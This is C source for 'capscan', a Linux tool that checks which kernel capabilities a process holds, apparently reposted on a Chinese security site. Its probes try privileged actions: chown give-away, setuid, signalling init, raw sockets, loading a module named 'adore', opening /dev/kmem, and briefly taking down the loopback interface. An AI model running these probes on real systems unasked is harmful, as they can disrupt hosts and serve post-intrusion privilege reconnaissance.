    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <linux/module.h>
    #include <errno.h>
    #include <sys/ptrace.h>
    #include <sys/stat.h>
    #include "cap.h"

    extern int wait(int *);

    int try_chown()
    {
    char p[] = "/tmp/fooXXXXXX";
    int r, fd = mkstemp(p);
    if (fd < 0)
    return 0;
    close(fd);

    /* try a give-away */
    if (chown(p, getuid()+1, getgid()+1) < 0)
    r = 0;
    else
    r = 1;

    unlink(p);
    return r;
    }


    int try_setuid()
    {
    int euid = geteuid();

    if (seteuid(euid + 1) < 0)
    return 0;

    seteuid(euid);
    return 1;
    }


    int try_setgid()
    {
    int egid = getegid();

    if (setegid(egid + 1) < 0)
    return 0;

    setegid(egid);
    return 1;
    }


    int try_kill()
    {
    /* XXX: suffices? */
    if (kill(1, SIGCONT) < 0)
    return 0;
    return 1;
    }


    int try_bind()
    {
    struct sockaddr_in sin;
    int r, fd = socket(PF_INET, SOCK_STREAM, 0);
    if (fd < 0)
    return 0;
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(666);

    if (bind(fd, (struct sockaddr*)&sin, sizeof(sin)) < 0)
    r = 0;
    else
    r = 1;

    close(fd);
    return r;
    }

    int try_net_raw()
    {
    int fd = socket(PF_INET, SOCK_RAW, 0);

    if (fd >= 0) {
    close(fd);
    return 1;
    }
    return 0;
    }


    int try_nice()
    {
    return (nice(-1) == 0);
    }


    extern caddr_t create_module(const char *, size_t);

    int try_module()
    {
    errno = 0;
    create_module("adore", 1234);
    delete_module("adore");
    return (errno == 0);
    }



    int try_chroot()
    {
    int r;
    if (fork() == 0) {
    if (chroot("/tmp") < 0)
    exit(0);
    else
    exit(1);
    }
    wait(&r);
    return r != 0;
    }


    int try_rawio()
    {
    int fd = open("/dev/kmem", O_RDONLY);
    if (fd < 0)
    return 0;
    close(fd);
    return 1;
    }


    int try_admin()
    {
    char h[1024];
    memset(h, 0, sizeof(h));
    gethostname(h, sizeof(h));
    if (sethostname("hola!", 5) < 0)
    return 0;
    sethostname(h, strlen(h));
    return 1;
    }


    int try_net_admin()
    {
    int sock;
    struct ifreq ifr;

    strcpy(ifr.ifr_name, "lo");

    if ((sock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
    return 0;

    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0)
    return 0;

    ifr.ifr_flags &= ~IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0)
    return 0;

    ifr.ifr_flags |= IFF_UP;
    ioctl(sock, SIOCSIFFLAGS, &ifr);
    close(sock);
    return 1;
    }


    int try_ptrace()
    {
    int child, r = 0;

    if ((child = fork()) == 0) {
    sleep(10);
    exit(0);
    }
    if (ptrace(PTRACE_ATTACH, child, 0, 0) < 0)
    r = 0;
    else
    r = 1;
    kill(child, SIGKILL);
    wait(NULL);
    return r;
    }


    int try_mknod()
    {
    unlink("/tmp/fd0");
    if (mknod("/tmp/fd0", 0600|S_IFCHR, 2<<8) < 0)
    return 0;
    unlink("/tmp/fd0");
    return 1;
    }



    struct {
    int value;
    char *name;
    int (*try)();
    } caps[] = {
    {0, "CAP_CHOWN", try_chown},
    {1, "CAP_DAC_OVERRIDE", NULL},
    {2, "CAP_DAC_READ_SEARCH", NULL},
    {3, "CAP_FOWNER", NULL},
    {4, "CAP_FSETID", NULL},
    {5, "CAP_KILL", try_kill},
    {6, "CAP_SETGID", try_setgid},
    {7, "CAP_SETUID", try_setuid},
    {8, "CAP_SETPCAP", NULL},
    {9, "CAP_LINUX_IMMUTABLE", NULL},
    {10, "CAP_NET_BIND_SERVICE", try_bind},
    {11, "CAP_NET_BROADCAST", NULL},
    {12, "CAP_NET_ADMIN", try_net_admin},
    {13, "CAP_NET_RAW", try_net_raw},
    {14, "CAP_IPC_LOCK", NULL},
    {15, "CAP_IPC_OWNER", NULL},
    {16, "CAP_SYS_MODULE", try_module},
    {17, "CAP_SYS_RAWIO", try_rawio},
    {18, "CAP_SYS_CHROOT", try_chroot},
    {19, "CAP_SYS_PTRACE", try_ptrace},
    {20, "CAP_SYS_PACCT", NULL},
    {21, "CAP_SYS_ADMIN", try_admin},
    {22, "CAP_SYS_BOOT", NULL},//haha :>
    {23, "CAP_SYS_NICE", try_nice},
    {24, "CAP_SYS_RESOURCE", NULL},
    {25, "CAP_SYS_TIME", NULL},
    {26, "CAP_SYS_TTY_CONFIG", NULL},
    {27, "CAP_MKNOD", try_mknod},
    {28, "CAP_LEASE", NULL},
    {-1, (void*)0}
    };


    /* if (capable(d.cap_effective, CAP_SYS_MODULE)
    * ...
    */
    int capable(int cap, int flag)
    {
    return (cap & (1<<flag));
    }


    int print_cap(cap_user_data_t new, cap_user_data_t old)
    {
    int i = 0;
    FILE *f;

    if (!new || !old)
    return -1;

    f = fopen("/dev/tty", "w+");
    if (!f)
    return -1;

    fprintf(f, "nE %x nI %x nP %x\n"
    "oE %x oI %x oP %x\n\n",
    new->effective, new->inheritable, new->permitted,
    old->effective, old->inheritable, old->permitted);


    /* Print New's advanced (effective) caps over old ones */
    /* HACK! This is left here due to a private version of capcan */
    for (i = 0; caps[i].value != -1; ++i) {
    if (capable(new->effective, caps[i].value) &&
    !capable(old->effective, caps[i].value))
    fprintf(f, "e %d %s\n", caps[i].value, caps[i].name);
    }

    printf("\n");

    /* Print New's advanced (inhertiable) caps over old ones */
    for (i = 0; caps[i].value != -1; ++i) {
    if (capable(new->inheritable, caps[i].value) &&
    !capable(old->inheritable, caps[i].value))
    fprintf(f, "i %d %s\n", caps[i].value, caps[i].name);
    }


    /* No news */
    if (new->effective == new->permitted)
    return 0;

    printf("\n");

    /* Print New's advanced permitted caps */
    for (i = 0; caps[i].value != -1; ++i) {
    if (capable(new->permitted, caps[i].value) &&
    !capable(old->permitted, caps[i].value))
    fprintf(f, "p %d %s\n", caps[i].value, caps[i].name);
    }

    fclose(f);
    return 0;
    }

    int brute_caps()
    {
    int i = 0;

    for (; caps[i].value != -1; ++i) {
    if (caps[i].try) {
    if (caps[i].try()) {
    printf("b %d %s\n", caps[i].value,
    caps[i].name);
    }
    }
    }
    return 0;
    }
    ---------------------------------------------------------------------------------
    #capscan.c
    ---------------------------------------------------------------------------------
    #include <stdio.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <dirent.h>
    #include <fcntl.h>
    #include "cap.h"


    extern pid_t wait(int *);

    void die(const char *s)
    {
    perror(s);
    exit(errno);
    }


    int main(int argc, char **argv)
    {
    cap_user_header h;
    cap_user_data d, we;

    h.version = _LINUX_CAPABILITY_VERSION;
    h.pid = 0;

    if (argc < 2) {
    fprintf(stderr, "Usage: %s [-w] [-b]\n", *argv);
    exit(1);
    }

    /* Just print the caps we have yet */
    if (argv[1][1] == 'w') {
    if (capget(&h, &we) < 0)
    die("capget");

    memset(&d, 0, sizeof(d));
    print_cap(&we, &d);

    } else if (argv[1][1] == 'b') {
    brute_caps();
    }
    return 0;
    }
    字体:
     
    设为主页 收藏本站 联系我们 友情连接 商务合作 网友留言
    Copyright©2006-2008 中华网络安全联盟 All rights reserved.